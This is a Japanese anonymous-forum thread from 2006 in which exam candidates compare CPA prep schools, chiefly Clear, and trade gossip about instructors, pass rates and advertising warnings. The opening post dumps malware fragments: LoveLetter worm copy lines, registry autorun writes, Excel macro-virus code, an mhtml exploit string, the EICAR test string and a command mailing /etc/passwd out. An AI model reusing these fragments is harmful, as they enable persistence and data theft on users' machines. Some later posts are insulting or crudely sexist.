06/10/09 11:09:04
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
476:一般に公正妥当と認められた名無しさん
06/10/09 13:44:13
クレとっても本試験ではなにも通用しないぞ。
他校とわたりあってるのは監査くらい。
その監査も他校と五分なくらいで、差をつけれるわけではない。
つまり、クレのメリットは安いのと自習室がおおいことだけ
477:一般に公正妥当と認められた名無しさん
06/10/09 13:55:57
>>475
誰だよ、ウイルスばらまいてるの？
478:一般に公正妥当と認められた名無しさん
06/10/09 17:54:12
>>476
それはそれで言いすぎだな
君はアンチクレというより、どこかの信者になってしまっているようだ
どこの学校でも信者は落ちるよ
479:一般に公正妥当と認められた名無しさん
06/10/09 23:40:06 XkUn/9PS
クレの育英選考試験の科目は何でしょうか？短答16問となっていますが5科目ですか？
480:一般に公正妥当と認められた名無しさん
06/10/10 00:05:10
>>476
工作員乙ｗ
481:一般に公正妥当と認められた名無しさん
06/10/10 00:08:22
スタッフ乙レス阻止
482:一般に公正妥当と認められた名無しさん
06/10/10 01:27:39
>>481
でかした
ぬるぽな流れを断ち切るんだ！
483:一般に公正妥当と認められた名無しさん
06/10/10 01:30:49
工作員乙とかスタッフ乙しか言えないやつはそれが面白いと思ってやってんのかな
見苦しいだけなのに･･･
484:一般に公正妥当と認められた名無しさん
06/10/10 10:02:16 Eel1oX5O
どこ行っても受かる奴は受かるでしょ。
ただテキスト棒読みが本当なら即効辞めさせて欲しい
485:一般に公正妥当と認められた名無しさん
06/10/11 01:30:52
★★【CIA】公認内部監査人【国際資格】★★
ｽﾚﾘﾝｸ(exam板)l50
851 名前： 一般に公正妥当と認められた名無しさん 投稿日： 2006/10/07(土) 12:01:13 ID:8wtZTJ5D
クレアール堀江教授、ＣＩＡを語る。
公認資格っていうのが最近ありまして、怪しげなCIAっていう、名称CIA
なんていうと、あれはいないんだけど。CIA、公認内部監査人と言うん
ですよ。どこぞの予備校でも、あのね、これは１回目の試験は英語で
してね、それで、この１回目にね試験委員っていうとおおげさですけど、
翻訳委員になってくれって言われてね、英語の問題を日本語に直して
受けられるようにしたんだけど、日本にないものがあるんだよね、コント
ローラーとかね、あれが、もー、どーやりゃーいいかとね、日本にない
組織とかね、日本にない職責とかね、あれ、法律なんかもそのまま使
えないでしょ。ですからね、あーの、もうややっこしいからね、１回で辞
めたけどね。冗談じゃないやってらんないよね。
あーの、公認内部監査人と言うんですけども、なんか予備校でやって
るよ。資格、最近、なんか流行ってるらしいわ。はい。会計士取ったらど
うですか？あのー、はい。余興で。はい。一週間ばっかりやりゃ受かん
じゃない？
486:一般に公正妥当と認められた名無しさん
06/10/11 01:31:23 31EXdBvy
852 名前： 一般に公正妥当と認められた名無しさん 投稿日： 2006/10/08(日) 01:22:04 ID:tfqffeo4
>>851
そういうおまいが会計士でもとったら？
あんなもん１０日もありゃ取れんだろ？
853 名前： 一般に公正妥当と認められた名無しさん 投稿日： 2006/10/08(日) 16:56:17 ID:FTO25OH5
>>851
CIA自体は（米国では）まっとうな資格ですよ。
最大の問題点は、「日本語に翻訳して日本語で受けられるようにした点」でしょ。
確かに、米国と日本の実務双方にある程度精通していて、ある程度の英語力が
がないと、まともな翻訳なんてできないわけだし。
(ちなみに、コントローラーとか日本でも普通にいるし。別に特殊な役職でもないけど。
（その方、コントローラーがどういう仕事をしているのか、そもそもご存じないのかな？)
もっとも、実務知識も英語力もある人自体は少ないですから、翻訳委員を探すのも大変でしょうね。
それに、試験問題の翻訳なんて極めて割の合わない仕事なんか真っ先に断りますから。
だって、（折角）日本語に訳してあげて少しでも翻訳に不適切な箇所があると、
「翻訳が酷くて問題の意味が分からない（から落ちた。）」なんてクレームが
来るわけですから。
教訓：米国の試験なのだから、受けるんだったら英語で受けましょう。
487:一般に公正妥当と認められた名無しさん
06/10/11 01:31:58 31EXdBvy
856 名前： 一般に公正妥当と認められた名無しさん 投稿日： 2006/10/10(火) 08:55:05 ID:uLdirWrE
理論的にはUSCPAのほうがJCPAを超えている。いつの時代もそうだ。
アメリカ人はパイオニア精神が旺盛な国民性も関係している。
世の中の変化に素早く対応する。デリバテイブ会計なんか見ると
ほんとにそう思う。時価会計では日本はもう計算が追い付けない
ほどの差が出来てしまっている。計算書類の書式でもそうだ、
日本じゃまだ包括利益計算書や株主持分計算書さえ出来ていない。
だから、一歩先を見たい者にとってはUSCPAのほうが役に立つ。
こんなところで会計学を論じてもしょうがないが、CIAの受験生の
数は半端じゃない。年2回の試験に大量の日本人が押し寄せている。
この種の資格が日本には無いからだ。だからUSCPAでも
日本で受験できたら大量の受験者が押し寄せるだろう。
488:一般に公正妥当と認められた名無しさん
06/10/11 10:34:21
石井語録「言うとおりにやれば合格するんだから、言うとおりにやらない方が悪い」
489:一般に公正妥当と認められた名無しさん
06/10/11 11:56:44
石井が言うとむかつくセリフだが
会計士試験以外の分野では、俺も同じことを後輩に対して感じているという矛盾
490:一般に公正妥当と認められた名無しさん
06/10/11 22:23:40
言うとおりにして短答落ちしたブロガーいたよね
491:一般に公正妥当と認められた名無しさん
06/10/12 20:31:24
きｔっちょむ
きちお
きちおは非常識合格法の被害者になったというが
あいつは外様でもあり
そもそもベテであり
ベテは落ちるからベテであり
ベテが落ちるのは自然の法則であり
せめて生え抜き信者を持ってしないと
石井の反証とは
492:一般に公正妥当と認められた名無しさん
06/10/12 21:27:55
URLﾘﾝｸ(kitio12.blog14.fc2.com)
泣いた 大きい赤字にまでしたのに
493:一般に公正妥当と認められた名無しさん
06/10/12 23:25:11
だからここは天才型暗記マシーンしか合格できない
暗記偏重型の学習システムなんだよ。何回も言わせんな
マーチ以下と、それ以上でも既卒の錆びたドタマの人は
大手の自然に頭に入るカリキュラムに従えって
494:一般に公正妥当と認められた名無しさん
06/10/13 01:29:42 enChqiFn
資格試験の合格者数を不当表示 公取委が警告
公正取引委員会は１２日、資格試験対策講座を運営する大手のＴＡＣ（東京）
と大原学園（同）、早稲田セミナー（同）に対し、受講者募集のパンフレット
に短期間しか受講していない合格者まで加え、合格実績として記載したのは景
品表示法違反（優良誤認）に当たる恐れがあると警告した。公取委によると、
ＴＡＣと大原学園はそれぞれ平成１７年から今年にかけ、１７年度の会員の
税理士試験合格者数に、実際には数日間の短期講座しか受講していない百数
十人を加え、対策講座の受講者を募集するパンフレットに「合格者中、ＴＡ
Ｃの会員は７６５名」「大原合格者８０５名」などと記載した。
ＴＡＣは公認会計士試験対策講座の広告でも同様に表示。早稲田セミナーも
公務員試験向け講座で、短期受講者らを合格者に加え表示した。
資格試験対策ビジネスの平成１７年度の市場規模は約３０００億円で、３社
は上位を占めている。３社は「警告を厳粛に受け止め、適正な表示に努めた
い」などとしている
495:一般に公正妥当と認められた名無しさん
06/10/13 01:41:10
クレは要領のいい
賢い人には最高だろうな
応用のきかない馬鹿には最悪
496:一般に公正妥当と認められた名無しさん
06/10/13 01:47:12 6weG3MNF
ＴＡＣが設置申請取り下げ 会計の専門職大学院
資格試験予備校のＴＡＣ（東京）は５日、
来春開校を目指していた会計の専門職大学院「ＴＡＣ大学院大」について、
文部科学省への設置申請を取り下げた。
専門職大学院の設置基準に違反した内容のパンフレットを配り、
文科省から厳重注意を受けたのが理由。
文科省によると、ＴＡＣがパンフレットに掲載した履修モデルケースでは、
１年間に履修可能な科目の合計が４６単位となり、
ＴＡＣが大学院設置申請の書類に記載した年間３０単位を超えていた。
文部科学省は「資格試験の準備に偏った詰め込み教育を意図している」として厳重注意していた。
（共同通信） - 10月5日23時23分更新
497:一般に公正妥当と認められた名無しさん
06/10/13 01:48:59
高島易断は「高島易断」著者 高島嘉衛門と一切無関係 （平成17年７月号）
(p)URLﾘﾝｸ(www.keiten.net)
当たるも八卦 当たらぬも八卦 高島易断の未来を占う 第２回 （平成17年８月号）
(p)URLﾘﾝｸ(www.keiten.net)
当たるも八卦 当たらぬも八卦 高島易断の未来を占う 第３回 （平成17年９月号）
(p)URLﾘﾝｸ(www.keiten.net)
498:一般に公正妥当と認められた名無しさん
06/10/13 16:22:07
2006.05.19 Friday
５月７日の早朝にクレの短答公開模試を申し込んだ。
クレアールのＨＰの
2.教材の一部と受講料納入案内を発送
お届けはお申し込みから1週間以内となります。
この言葉を信じて。
すぐに通信講座申し込み内容確認のメールが届いたんで、
申し込みは出来てるかと思うのだが。。。
あれから、１２日経過。
届かない。
もう届くことはないんだろう。。。
困ったもんだ。
499:一般に公正妥当と認められた名無しさん
06/10/14 13:58:53
なんで電話なりメールなりでクレームしないのかが疑問
500:一般に公正妥当と認められた名無しさん
06/10/15 00:23:56
おつむが足りないだけだろ
501:一般に公正妥当と認められた名無しさん
06/10/15 14:50:23 oBlMYJ6p
N村よ、予定から講義がすでに1.5ヶ月遅れているぞ。
お前の講義が何の役にも立たないのはもう仕方がない。
講師としての才能がないことはよくわかった。
講義は今すぐ取りやめて、テキストと問題集作りに専念しろ。
このままだと、クレ専念で合格する人間が本当にゼロになるぞ。
502:一般に公正妥当と認められた名無しさん
06/10/15 15:07:25
>>501
んー、でも、最近はＮ村もがんばっているよ。
ちょっとはましになってきたかな。
講義のふしぶしで、かなり落ち込んでいるのが最近わかる。
503:一般に公正妥当と認められた名無しさん
06/10/15 15:14:33
同情してやれる余裕があるのか？
Ｎ村の負債を背負い込むのは受験生なんだぞ
504:一般に公正妥当と認められた名無しさん
06/10/15 18:28:13
安いんだから文句言うなバカｗ
505:一般に公正妥当と認められた名無しさん
06/10/15 19:17:30
んで、実際のトコ安いの？
506:一般に公正妥当と認められた名無しさん
06/10/15 19:18:51
安いよ
高学歴なら尚安い
507:一般に公正妥当と認められた名無しさん
06/10/15 20:03:06 oBlMYJ6p
割引なしなら、アクセルのほうが安くなってしまった。
508:一般に公正妥当と認められた名無しさん
06/10/17 17:10:27 zUShWKKz
ｸﾚの管理の講義はダメでも答練はとる価値ありますか？
509:一般に公正妥当と認められた名無しさん
06/10/17 23:24:50
>>508
各自でやる分には良いんじゃない？
ステップあたりとあまり遜色ないみたいだし。
510:一般に公正妥当と認められた名無しさん
06/10/17 23:39:11
アクセスが最強
511:一般に公正妥当と認められた名無しさん
06/10/18 00:04:04 pfV40l1f
ステップ以下だな
一級より簡単だぞ
やる意味なし
アクセスとっとけ
512:一般に公正妥当と認められた名無しさん
06/10/18 01:03:53
工作員乙ｗ
513:一般に公正妥当と認められた名無しさん
06/10/18 01:08:00
クレの管理に何かを期待する方が悪いだろ･･･
おとなしくTACかLECの管理とっとけって
514:一般に公正妥当と認められた名無しさん
06/10/18 01:18:40 nC+sDu9h
Ｎ村は少しずつ、講義が良くなってきている。
しかし、所詮安井の劣化コピー（安井自身も３流講師と呼ばれていた）
あまりこれ以上の進化は期待できない。
答練はまだベーシック期だから、なんとも言えない。
でもさすがに、簿記１級よりは難しい。
ただ、出題傾向を見るかぎり、公認会計士の試験とは、ずれているような気がする。
515:一般に公正妥当と認められた名無しさん
06/10/18 01:21:23
クレアール最高！
この学校は使い方次第で評価が分かれる
とりあえず初学者はどこ行っても大差ないから安いとこにしとけ
自分の得意科目、不得意科目が見えてきたら弱いとこを他の学校の単科で補えばいい
516:一般に公正妥当と認められた名無しさん
06/10/18 02:27:03 pfV40l1f
一級のほうがむずい
過去問やれ
517:一般に公正妥当と認められた名無しさん
06/10/18 12:22:15 41IL7Klp
どこも良し悪しがあるからまずは安いところでやるといい。辞めた時は損が少ないからね。
518:一般に公正妥当と認められた名無しさん
06/10/18 12:26:29
阻止
519:一般に公正妥当と認められた名無しさん
06/10/18 13:54:00
ルパン３世好きの俺は、堀江監査の相性がいい。
520:一般に公正妥当と認められた名無しさん
06/10/18 18:40:47 LqSXd+/N
初学者や時間の無い人にはいいと思うけど。短答合格レベルなら充分じゃない。
基礎期をクレで、次の年ＴＡＣ上級あたりが効率的ではないか。費用も安いし。
521:一般に公正妥当と認められた名無しさん
06/10/18 20:41:25
それなら最初からタックで2年コース辺りに在籍した方が良くない？
522:一般に公正妥当と認められた名無しさん
06/10/18 20:43:53
それを言っちゃあおしめえよ。
523:一般に公正妥当と認められた名無しさん
06/10/18 20:51:50 LqSXd+/N
いや複数の予備校を上手く活用する方が効率的かつ効果的
ひょっとするとクレのみでも論文合格可能かも。
ＴＡＣ２年コースなんて無駄が多すぎるだろ。
１年本科をただ長くしただけだし
524:一般に公正妥当と認められた名無しさん
06/10/18 20:59:55
1校だけを信じてやった方が効率的だと思うが･･･
525:一般に公正妥当と認められた名無しさん
06/10/18 22:47:05
TACの二年コースなんて行ったら
どんだけ搾り取られるかわかったもんじゃないよ
管理会計なんかはオークションで手に入る教材で充分なんだし
526:一般に公正妥当と認められた名無しさん
06/10/18 22:49:14 LqSXd+/N
ＴＡＣは講義いらんよな。テキストと答練は良いが
527:一般に公正妥当と認められた名無しさん
06/10/19 04:30:34
無料聴講とかできるんだし、実際に講義を聞いてみて、専念する予備校を決めればいいと思うよ。
で、大事なのは、看板講師じゃない講師の講義を見せてもらうことだと思う。
できれば、一番やばそうな科目。
中小だと大手と違って振替が効かない（講師が１人しかいない）ので、合わない講師だと即あぼーんになる可能性大。
ズルズルやるのは精神衛生上よくないし、単科で他校を取ると結果として高くつくんじゃないかな。
安くて、自分のスタイルに合うのなら、言うことなしで、
あとは、ただただ勉強すればいいってだけ。
528:一般に公正妥当と認められた名無しさん
06/10/19 21:54:26 igwa6eXx
段々良スレになる傾向になりつつある
529:一般に公正妥当と認められた名無しさん
06/10/19 22:05:32 LeTWrFU7
でも、Ｎ村の話がはじまると・・・
530:一般に公正妥当と認められた名無しさん
06/10/20 21:34:26 dIO/hfcF
馬場ってどうなの？
531:一般に公正妥当と認められた名無しさん
06/10/20 21:48:55
最高だよ＞＜
532:一般に公正妥当と認められた名無しさん
06/10/20 23:18:34 9fSJ4HM9
馬場は基本的にはいい講師。
わかりやすいし。負担は小さい。
だが、2005年にありえないくらいに外してしまった。
ヤマあてをしに行き過ぎた。
2007年は、神になることを目指しているようだ。
独自に情報を集めているようである。
マジな話。
クレで致命的にやばい講師は統計学H佐と管理会計N村だけ。
簿記のM山も大概やばいが、管理会計N村はH佐とは違うやばさを独自に作りだしている。
533:一般に公正妥当と認められた名無しさん
06/10/20 23:22:49
馬場はビミョーだろ
534:一般に公正妥当と認められた名無しさん
06/10/20 23:27:53
よろしいでしょうか♪
↑ｳｻﾞｲ
535:一般に公正妥当と認められた名無しさん
06/10/20 23:39:12
>>533
馬場が微妙とは、あなたはヴェテなのですね？
536:一般に公正妥当と認められた名無しさん
06/10/21 00:39:06
てか馬●ってやばいぞ。
537:一般に公正妥当と認められた名無しさん
06/10/21 00:44:27
やばい理由kwsk
538:一般に公正妥当と認められた名無しさん
06/10/21 01:20:48 dsmT7WiU
やばい理由は
>>532に書いてあるとおりだよ。
まあ、きもいヴェテが足をひっぱっているだけだから、気にするな。
今年の試験を見てもわかるように、経営学は傾向が変わった。
試験委員対策はもう必要ない。
馬場も外しようがないからな。
539:一般に公正妥当と認められた名無しさん
06/10/21 09:17:01 i29Atoqi
あたるあたらない以前に内容的にも○場はやばい。
そもそも財務論わかってないな、って感じがありありとわかる時がある。
540:一般に公正妥当と認められた名無しさん
06/10/21 09:54:51
>>539はどの講師に教わっても理解できないベテ
541:sage
06/10/21 10:44:51 Vjtp17EB
思うに、
神様＞＞＞＞竹Ｍ＞＞ヒロシ＞ＢＢ＞カリスマ＞Ｍ山＞組長＞＞＞＞＞＞Ｎ村。
租税は微妙。
542:一般に公正妥当と認められた名無しさん
06/10/21 10:47:18
>>541
ミスった
543:一般に公正妥当と認められた名無しさん
06/10/21 11:58:51
>>539
同意。言葉おかしいしね。ちなみに俺はタックにしたぞ。
544:一般に公正妥当と認められた名無しさん
06/10/21 12:34:16
まぁ落ち続けるベテってのは、試験には関係のない細かいとこを
突っ込んで自己満足してる連中のことだからなｗ
そのまま２０年くらい続けて学者にでもなってください
あ、>>539>>543のことですよ^v^
545:一般に公正妥当と認められた名無しさん
06/10/21 12:54:13
監査＞＞財表＞＞企業＞＞＞＞＞租税＞経営＝簿記＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞管理＞＞＞∞＞＞＞比佐
カリスマ石井は2004年に外したことから評価が落ちた。もともとはアクセルエイジよりも評価が高かった。
今でも財表の理解の程度はクレ石井が上。
石井がこんなにたたかれているのは、性格と、いまだに受からないヴェテの工作によるものだ。
クレ石井は会計士受験会で１、２を争う講師であることは間違いない。
546:543
06/10/21 16:44:43
あ、俺今年一発で短答合格してるんでその辺よろしく^v^
547:一般に公正妥当と認められた名無しさん
06/10/21 18:16:50
>>546
その発言が前言を無意味にしちゃってるのわかりますか?^v^
548:一般に公正妥当と認められた名無しさん
06/10/21 19:47:20
＞あ、俺今年一発で短答合格してるんでその辺よろしく^v^
程度の低さが露呈してるね^v^
549:一般に公正妥当と認められた名無しさん
06/10/21 21:00:50 iaaJmi3F
お～い、ＩＣＯ生の皆さんへの質問。教祖（井○川氏）に貢物をして、仲良くならないと、質問に答えてくれないのですか？
やっぱり変な信仰宗教だよな。あと笑ってしまうのが、日曜の朝とか貴校の前に集まってるでしょ？あの連中ってＩＣＯ生だよね？
なんで建物に入らないの？
550:一般に公正妥当と認められた名無しさん
06/10/21 21:04:30 dsmT7WiU
ＩＣＯじゃないでつよ
551:一般に公正妥当と認められた名無しさん
06/10/21 21:16:13
よりにもよってクレとICOを間違えるとはなｗｗ
クレ信者は金にケチなだけで盲信とは無縁なんだよ
552:一般に公正妥当と認められた名無しさん
06/10/22 01:03:05 kH7dX6Fc
クレアールって、1級と公認会計士講座で、内容が重なりまくりで、
非効率のような気がする。
たとえば管理会計だけど、一緒にしちゃえばいいじゃん。
TACみたいにさぁ。
あと、管理会計のテキストは、できるだけ薄くするために、
かえって分かりにくくなってる気がする。
553:一般に公正妥当と認められた名無しさん
06/10/22 01:40:19
非常識合格法の本でもガイダンスでも、「会計士試験では傾斜配点が行われている」というコメントがあったけど、
結局それって根拠は何なの？
「簿記１級の試験でそれが行われていたと推測されるので、国家試験である会計士試験でもそれが行われているだろう」なんて、憶測でしかない。
554:一般に公正妥当と認められた名無しさん
06/10/22 02:13:00
ヒント：試験委員とお友達
555:一般に公正妥当と認められた名無しさん
06/10/22 06:58:09 QFn+nJPZ
ヒント２：石井は加古教授（新公認会計士試験準備委員会座長）の弟子
556:一般に公正妥当と認められた名無しさん
06/10/22 07:02:57
ヒント３：合格率が毎年ほぼ一定
557:一般に公正妥当と認められた名無しさん
06/10/22 08:01:52
財表や企業法のスピーチカードって配布されていないの？
558:一般に公正妥当と認められた名無しさん
06/10/22 08:14:58 RY3AXymk
傾斜配点されなければ合格者がゼロになる可能性があるだろ。今年の租税法で分かるだろ。
559:一般に公正妥当と認められた名無しさん
06/10/22 08:34:45
>>557
０６はもらえなかったです。廃止かも
560:一般に公正妥当と認められた名無しさん
06/10/22 12:08:38
>>559
スピーチカードは自分で作りなさいということなんですかね・・・
561:一般に公正妥当と認められた名無しさん
06/10/23 00:15:11 kOujQlig
租税法の答案凄いことになってたぞ
562:一般に公正妥当と認められた名無しさん
06/10/23 00:15:59
>>561
kwsk
563:一般に公正妥当と認められた名無しさん
06/10/24 23:24:45 a6HO9hwW
おまえらもっとガンガン書き込めよっ！！
寂しいじゃないか！
564:一般に公正妥当と認められた名無しさん?
06/10/25 04:03:20 1WUAvN6y
うむ
565:一般に公正妥当と認められた名無しさん
06/10/25 10:34:48
イガ塾いいですか？
566:一般に公正妥当と認められた名無しさん
06/10/25 12:55:34 bEXTlP7f
イガ塾なんて死んだも同然です。
567:一般に公正妥当と認められた名無しさん
06/10/26 00:53:18
総計未満と明示以外はどうでもいいって感じだよ
568:一般に公正妥当と認められた名無しさん
06/10/26 09:32:41
なぜ明治だけはOKｗ
569:一般に公正妥当と認められた名無しさん
06/10/26 15:30:08
イガが㍾だから
570:一般に公正妥当と認められた名無しさん
06/10/26 20:34:11 YtaOEFSk
カリスマ石井が明治だから
571:一般に公正妥当と認められた名無しさん
06/10/26 21:05:38
俺が明治だから
572:一般に公正妥当と認められた名無しさん
06/10/27 02:21:55 w/aoPXvy
>>570
へ～へ～へ～へ～
573:一般に公正妥当と認められた名無しさん?
06/10/27 02:44:00 s0Uwm1Wh
ひひひひひひひ
574:一般に公正妥当と認められた名無しさん
06/10/27 19:36:32
イガもカリスマも俺も生粋の明治っ子だぜ！
575:一般に公正妥当と認められた名無しさん
06/10/27 20:10:21
石井の頃の明治と、今時の明治レベルを同一に見るなよ。
576:一般に公正妥当と認められた名無しさん
06/10/27 20:29:34
おっさんですか？
577:一般に公正妥当と認められた名無しさん
06/10/27 23:22:00 ymVajvpW
石井は４回くらい受けて合格。
イガは１回で合格。
ということは、今の明治のレベルのほうが高いってことですか？
578:一般に公正妥当と認められた名無しさん
06/10/27 23:52:13 oaLd7RQJ
ＡＸＬ伊藤は元LEC税理士講座の
（法人税でも消費税でも所得税でもなく）
相続税の講師。
579:一般に公正妥当と認められた名無しさん
06/10/31 00:42:51
で、租税法の答練がどう詳しいのかkwsk
580:一般に公正妥当と認められた名無しさん
06/10/31 01:48:24 0sLL5dny
>>579
日本語がおかしい
581:一般に公正妥当と認められた名無しさん
06/10/31 03:29:38
素で間違えた＿|￣|○
で、租税法の答練がどう凄いのかkwsk
582:一般に公正妥当と認められた名無しさん
06/10/31 22:42:01 rBXuZlSe
就職は無難に決まったんだ。上司の暴言に
耐えられなくって辞めちゃったけどさ。そんで今TACさ。
大学入ったときさ、慶應の奴ならわかると思うけどニ幸食堂
ってあるじゃん？ドキュんサークルの溜まりになってるとこ。
ああいうとことか、噴水前とか苦手でさ。
大学に入って学内で初めて女の子に声かけられたんだけどさ、
緊張しちゃって顔は汗びっしょりになるし声も震えてうまく
喋れなかったよ。なんか幸福になる壷を買わないかという話
だったんだけどね。
でもやっぱマンモス大学だけあって、いろんな奴がいて段段と
友達もできて、人前でも普通に喋れるようにはなったさ。
三田に上がった頃には友達と学食でメシ食ったりするように
なったし。女の子の友達も少しできて、軽く雑談したりも
できるようになった。
勇気をだして曙町のヘルス行ったりもして、暗い密室で２人
きりだと女の子とも自然に会話できてエッチなこともできた。
話してみると、町を歩いてるギャルみたいな子も以外と普通の
感覚を持ってるんだと感じた。
まあ、どんな境遇であっても人と接する感覚を失わないってのは
とても大事だぜ。
583:一般に公正妥当と認められた名無しさん
06/10/31 23:34:59
( ；∀；)イイハナシダナー
584:一般に公正妥当と認められた名無しさん
06/11/01 00:16:41
・合格率偽装のTAC
・1年以内合格実績がほぼゼロの大原
・合格率3%のクレアール
・一流講師がほとんど逃げ出したLEC
・受講生がヴェテだらけのアクセル
どこの予備校が一番いいですか？
585:一般に公正妥当と認められた名無しさん
06/11/01 00:43:23
>>584
まあどこも似たようなものだなｗ
586:一般に公正妥当と認められた名無しさん
06/11/01 01:28:34
お医者様は超プラチナ
医者というだけでモテる 女に困らないすぐ股を開くし、なにより、多額年収！平均２２００万！だよ 見てみろよ求人広告をさ！調べてみろよ！お前等なんかとは大違いだからさ！プギャー！
さて 開業医はその何倍も稼いでる
５億ぐらいはざらにいる！
やっぱり お医者様は結婚したいランキングナンバーワンの超プラチナです
早く俺も医者になって女とやりたいです
587:一般に公正妥当と認められた名無しさん
06/11/01 19:35:28
理系も工学部人気下がって優秀なのは医学部だもんねぇ
20年後の技術水準は確実に中国以下になるな
ってことで中国語勉強してる俺ｗ
588:一般に公正妥当と認められた名無しさん
06/11/01 21:23:46
今年の監査論のカリキュラムって直前講義とかIだとかIIだとかに分かれてなくて
えらいシンプルに見えるけど、これって暫定仕様？？
589:一般に公正妥当と認められた名無しさん
06/11/01 23:12:36 Al5wD5Px
>>588
たぶん、ひらりんを追放したからだと思う。
590:一般に公正妥当と認められた名無しさん
06/11/01 23:15:17
( ；∀；)イイハナシダナー
591:一般に公正妥当と認められた名無しさん
06/11/01 23:42:14
>>590
うん、全くもって不要だよね。
592:一般に公正妥当と認められた名無しさん
06/11/01 23:56:50
実務何たらは堀江さんが15回の講義内でまかなうの？
593:一般に公正妥当と認められた名無しさん
06/11/02 00:03:10
平林は簿記の講義はダメダメだったが監査は案外、わかりやすかったと俺は思う。
594:一般に公正妥当と認められた名無しさん
06/11/02 00:08:41 K8hccMTN
五十嵐先生はまだいますか？
元五十嵐塾でした
595:一般に公正妥当と認められた名無しさん
06/11/02 00:26:13
イガ、辛うじて生きてるみたいね
596:一般に公正妥当と認められた名無しさん
06/11/05 21:43:58 rRHsB6Kl
みんながんばれ
597:一般に公正妥当と認められた名無しさん
06/11/05 22:45:32 fUJ3qshA
Ｔ○Ｃが出してる入門答練っぽいのかってといてるんだけど、
クレの簿記と微妙に違うのは気のせい？？
べテの人おしえてください。
598:一般に公正妥当と認められた名無しさん
06/11/05 23:49:25
何が言いたいのか意味がわかりません
599:一般に公正妥当と認められた名無しさん?
06/11/06 01:02:44 ieKw+92H
処理は違うとこはあるな。ＴＡＣで覚えたほうがいいぞ。
Ｍ山は間違えた処理を教えてることもあるからな。
600:一般に公正妥当と認められた名無しさん
06/11/06 01:50:31
>>597
具体的にどう違うのかカキコしないと教えられんじゃないか！
601:一般に公正妥当と認められた名無しさん
06/11/08 00:26:35 ma8APVcs
石井は神。
財務諸表論では、会計士界ナンバーワンの講師だ。
アクセル野坂では、論文は書けない。
602:一般に公正妥当と認められた名無しさん
06/11/08 00:39:58
何当たり前のこと得意気に言ってんだ？
603:一般に公正妥当と認められた名無しさん
06/11/08 01:56:48
石井では対応できないのは明らかだ
604:一般に公正妥当と認められた名無しさん
06/11/08 02:23:28
>>603
って負け犬どもが仰ってますｗ
605:一般に公正妥当と認められた名無しさん
06/11/08 06:48:54 JL7K0+dl
本気でTACとクレアール迷ってるんですが・・
このスレ読んでるとクレアールはちょっと問題あるんですか？
何かアドバイスください お願いします
606:一般に公正妥当と認められた名無しさん
06/11/08 14:25:52
ここの版はアンチと信者の巣窟なんで実際にお試し講義を受けてみてから
決めた方がいいよ。
607:一般に公正妥当と認められた名無しさん
06/11/08 15:45:14
経営（組織論・戦略論）と、管理会計の講義を聴いてみることをすすめるよ。
この２つをクリアできれば大丈夫だろう。
608:一般に公正妥当と認められた名無しさん
06/11/08 16:09:25
>>607が真理
609:一般に公正妥当と認められた名無しさん
06/11/08 16:40:19
工作員乙ｗ
610:一般に公正妥当と認められた名無しさん
06/11/08 16:47:46
馬鹿の一つ覚え乙ww
611:一般に公正妥当と認められた名無しさん
06/11/08 20:52:54 GM6dWxSW
クレアールは
簿記と監査論は攻めの姿勢。
財表、企業法、租税法は合格者平均点狙い。
管理会計と経営学は合格者最低点狙い。
ただ、管理会計と経営学は、ぎりぎりのラインを狙いすぎて受講生全滅のリスクもある。
クレアールの管理会計は他校の半分だからな。
（難しい問題は誰もできないから、できなくていいという考え）
612:一般に公正妥当と認められた名無しさん
06/11/08 21:42:39
目に見える実際の合格率や合格者数はどうなん？
613:一般に公正妥当と認められた名無しさん
06/11/08 22:01:27 XdCtPHvb
クレアールの「金原伝説」って何？知ってる人教えて？
614:一般に公正妥当と認められた名無しさん
06/11/08 22:17:34
>>612
２００６年については、答練の提出率が６割以上の受講生は、短答の合格率は６割と石井は言っていた。
ちなみに、２００５年は合格率３％
615:一般に公正妥当と認められた名無しさん
06/11/08 22:57:50
短答だけはいいのか？
結局他校とかけもちが多いだろ？
616:一般に公正妥当と認められた名無しさん
06/11/08 23:05:09
>>615
いや、短答も微妙だな。簿記の短答答練難しすぎない？
617:一般に公正妥当と認められた名無しさん
06/11/08 23:18:15
DVD通信だが、鼻かんでる香具師が非常に気になる。というか、五月蝿い。
618:一般に公正妥当と認められた名無しさん
06/11/09 00:55:04
>>617
ワロスwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
619:一般に公正妥当と認められた名無しさん
06/11/09 01:00:48
企業法の石井遅刻…
620:一般に公正妥当と認められた名無しさん
06/11/09 01:09:58
>>607
管理会計は池辺
経営学はＯ原
財表はアクセルのＥＩＪＩで
621:一般に公正妥当と認められた名無しさん
06/11/09 01:22:02
>>617
通信で聞こえてるのか…
622:一般に公正妥当と認められた名無しさん
06/11/09 01:27:30
